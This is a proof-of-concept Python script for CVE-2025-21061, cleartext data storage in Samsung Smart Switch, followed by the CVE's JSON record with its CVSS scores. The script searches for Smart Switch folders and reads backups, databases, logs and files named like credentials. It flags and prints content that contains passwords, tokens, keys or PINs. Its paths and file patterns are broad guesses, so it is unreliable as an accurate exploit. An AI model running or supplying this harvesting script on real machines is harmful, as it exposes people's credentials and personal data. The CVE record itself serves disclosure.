CVE-2025-21061

# CVE-2025-21061 PoC - Samsung Smart Switch Cleartext Sensitive Information Storage # This PoC demonstrates how an attacker with local access can locate and extract # sensitive information stored in cleartext by vulnerable versions of Samsung Smart Switch (< 3.7.67.2) import os import sys import glob import platform # Common Smart Switch data storage paths by operating system SMART_SWITCH_PATHS = { "Windows": [ os.path.expandvars(r"%LOCALAPPDATA%\Samsung\Smart Switch"), os.path.expandvars(r"%APPDATA%\Samsung\Smart Switch"), os.path.expandvars(r"%USERPROFILE%\Documents\Samsung\Smart Switch"), os.path.expandvars(r"%USERPROFILE%\AppData\Local\Samsung"), ], "Darwin": [ # macOS os.path.expanduser("~/Library/Application Support/Samsung/Smart Switch"), os.path.expanduser("~/Library/Logs/SmartSwitch"), os.path.expanduser("~/Documents/Samsung/Smart Switch"), ], "Linux": [ os.path.expanduser("~/.local/share/Samsung/Smart Switch"), os.path.expanduser("~/.config/Samsung/Smart Switch"), ] } # Sensitive file patterns commonly left in cleartext by vulnerable Smart Switch versions SENSITIVE_PATTERNS = [ "*.bak", # Backup files "*.db", # SQLite databases "*.sqlite", # SQLite databases "*.log", # Log files (may contain tokens) "*.tmp", # Temporary files "*credential*", # Credential-related files "*backup*", # Backup archives "*.json", # Configuration files "*.xml", # XML data exports "*.csv", # CSV exports of contacts/messages ] def find_smart_switch_paths(): """Locate potential Smart Switch storage directories on the local system.""" system = platform.system() paths = SMART_SWITCH_PATHS.get(system, []) existing_paths = [p for p in paths if os.path.exists(p)] return existing_paths def scan_cleartext_files(base_paths, patterns): """Scan known directories for cleartext sensitive files.""" found_files = [] for base_path in base_paths: for pattern in patterns: search_pattern = os.path.join(base_path, "**", pattern) found_files.extend(glob.glob(search_pattern, recursive=True)) return found_files def extract_sensitive_content(file_path): """Extract and display sensitive content from a cleartext file.""" try: with open(file_path, "r", encoding="utf-8", errors="ignore") as f: content = f.read() # Simple heuristic to flag potentially sensitive data sensitive_keywords = ["password", "token", "key", "credential", "ssn", "email", "phone", "address", "pin"] flagged = any(kw.lower() in content.lower() for kw in sensitive_keywords) return content, flagged except Exception as e: return f"[Error reading file: {e}]", False def main(): print("[*] CVE-2025-21061 - Smart Switch Cleartext Storage PoC") print("[*] Searching for Samsung Smart Switch data directories...\n") ss_paths = find_smart_switch_paths() if not ss_paths: print("[-] No Smart Switch directories found on this system.") sys.exit(0) print(f"[+] Found {len(ss_paths)} potential Smart Switch path(s):") for p in ss_paths: print(f" - {p}") print("\n[*] Scanning for cleartext sensitive files...") cleartext_files = scan_cleartext_files(ss_paths, SENSITIVE_PATTERNS) if not cleartext_files: print("[-] No cleartext sensitive files detected.") sys.exit(0) print(f"[!] Found {len(cleartext_files)} potentially sensitive file(s):\n") for f in cleartext_files: content, flagged = extract_sensitive_content(f) marker = "[SENSITIVE]" if flagged else "[INFO]" print(f"{marker} {f}") if flagged: preview = content[:200].replace("\n", " ") print(f" Preview: {preview}...\n") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-21061", "sourceIdentifier": "[email protected]", "published": "2025-10-10T07:15:42.147", "lastModified": "2025-10-28T15:40:58.597", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cleartext storage of sensitive information in Smart Switch prior to version 3.7.67.2 allows local attackers to access sensitive data. User interaction is required for triggering this vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-312"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:samsung:smart_switch:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.7.67.2", "matchCriteriaId": "5D27227C-CA20-479D-9B1F-F0591FEFA6AC"}]}]}], "references": [{"url": "https://security.samsungmobile.com/serviceWeb.smsb?year=2025&month=10", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}